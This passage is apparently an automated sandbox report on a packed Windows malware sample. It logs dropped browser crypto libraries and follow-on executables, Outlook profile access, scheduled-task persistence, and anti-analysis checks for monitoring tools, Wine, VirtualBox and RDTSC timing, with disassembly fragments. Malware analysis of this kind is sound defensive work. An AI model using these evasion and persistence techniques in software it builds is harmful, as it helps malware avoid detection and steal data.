Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: Wf9qnVcbi8.exe

Static file information: File size 2514944 > 1048576

Source: Wf9qnVcbi8.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x222c00

Source:	Binary string: mozglue.pdbP source: Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Unpacked PE file: 0.2.Wf9qnVcbi8.exe.5d0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Unpacked PE file: 7.2.IDGHDGIDAK.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 12.2.explorti.exe.2f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lwthcuux:EW;rgejpvgu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Unpacked PE file: 13.2.528307a0ac.exe.550000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5AC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5AC410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.7.dr	Static PE information: real checksum: 0x1d911a should be: 0x1dfac2
Source: random[1].exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x26a15f
Source: Wf9qnVcbi8.exe	Static PE information: real checksum: 0x0 should be: 0x26a15f
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1d911a should be: 0x1dfac2
Source: 528307a0ac.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x26a15f
Source: IDGHDGIDAK.exe.0.dr	Static PE information: real checksum: 0x1d911a should be: 0x1dfac2

Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: .idata
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: lwthcuux
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: rgejpvgu
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: lwthcuux
Source: amadka[1].exe.0.dr	Static PE information: section name: rgejpvgu
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: lwthcuux
Source: explorti.exe.7.dr	Static PE information: section name: rgejpvgu
Source: explorti.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C57B536 push ecx; ret	0_2_6C57B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_0030D82C push ecx; ret	12_2_0030D83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_039D66F9 push cs; retf	13_2_039D66FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_039D61F0 push cs; retf	13_2_039D620B
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2940 push 7F4B0002h; ret	13_2_7F4B294F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2640 push 7F4B0002h; ret	13_2_7F4B264F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0B40 push 7F4B0002h; ret	13_2_7F4B0B4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0E40 push 7F4B0002h; ret	13_2_7F4B0E4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1140 push 7F4B0002h; ret	13_2_7F4B114F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1440 push 7F4B0002h; ret	13_2_7F4B144F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1740 push 7F4B0002h; ret	13_2_7F4B174F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1A40 push 7F4B0002h; ret	13_2_7F4B1A4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1D40 push 7F4B0002h; ret	13_2_7F4B1D4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2040 push 7F4B0002h; ret	13_2_7F4B204F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2340 push 7F4B0002h; ret	13_2_7F4B234F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2850 push 7F4B0002h; ret	13_2_7F4B285F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2550 push 7F4B0002h; ret	13_2_7F4B255F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2250 push 7F4B0002h; ret	13_2_7F4B225F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0A50 push 7F4B0002h; ret	13_2_7F4B0A5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0850 push edx; mov dword ptr [esp], edx	13_2_7F4B0625
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0850 push edx; mov dword ptr [esp], esi	13_2_7F4B0722
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0850 push ebx; mov dword ptr [esp], ebx	13_2_7F4B0756
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0D50 push 7F4B0002h; ret	13_2_7F4B0D5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1050 push 7F4B0002h; ret	13_2_7F4B105F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1350 push 7F4B0002h; ret	13_2_7F4B135F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1650 push 7F4B0002h; ret	13_2_7F4B165F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1950 push 7F4B0002h; ret	13_2_7F4B195F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1C50 push 7F4B0002h; ret	13_2_7F4B1C5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B1F50 push 7F4B0002h; ret	13_2_7F4B1F5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B2760 push 7F4B0002h; ret	13_2_7F4B276F
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0C60 push 7F4B0002h; ret	13_2_7F4B0C6F

Source: Wf9qnVcbi8.exe	Static PE information: section name: entropy: 7.995078111537249
Source: Wf9qnVcbi8.exe	Static PE information: section name: entropy: 7.98138192860846
Source: Wf9qnVcbi8.exe	Static PE information: section name: entropy: 7.951394948256141
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: entropy: 7.982608481536758
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: lwthcuux entropy: 7.955600116477208
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.982608481536758
Source: amadka[1].exe.0.dr	Static PE information: section name: lwthcuux entropy: 7.955600116477208
Source: explorti.exe.7.dr	Static PE information: section name: entropy: 7.982608481536758
Source: explorti.exe.7.dr	Static PE information: section name: lwthcuux entropy: 7.955600116477208
Source: random[1].exe.12.dr	Static PE information: section name: entropy: 7.995078111537249
Source: random[1].exe.12.dr	Static PE information: section name: entropy: 7.98138192860846
Source: random[1].exe.12.dr	Static PE information: section name: entropy: 7.951394948256141
Source: 528307a0ac.exe.12.dr	Static PE information: section name: entropy: 7.995078111537249
Source: 528307a0ac.exe.12.dr	Static PE information: section name: entropy: 7.98138192860846
Source: 528307a0ac.exe.12.dr	Static PE information: section name: entropy: 7.951394948256141

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5A55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5A55F0

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C91894 second address: C91899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C816F3 second address: C81727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007FC9F53DFD56h 0x0000000c popad 0x0000000d jnp 00007FC9F53DFD72h 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C90B80 second address: C90B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C91164 second address: C91168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C91168 second address: C9117D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC9F53C6A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007FC9F53C6A76h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C9117D second address: C91183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C937A5 second address: C937A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C938AF second address: C938B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C938B7 second address: C938DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC9F53C6A89h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C938DA second address: C93901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FC9F53DFD56h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93901 second address: C93907 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93907 second address: C9393D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC9F53DFD5Ch 0x00000008 jne 00007FC9F53DFD56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jng 00007FC9F53DFD6Bh 0x00000018 jnl 00007FC9F53DFD65h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C9393D second address: C939A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FC9F53C6A78h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000003h 0x00000024 mov cx, 032Dh 0x00000028 push 00000000h 0x0000002a cld 0x0000002b mov edx, eax 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FC9F53C6A78h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 sub dword ptr [ebp+122D1BCFh], edi 0x0000004f call 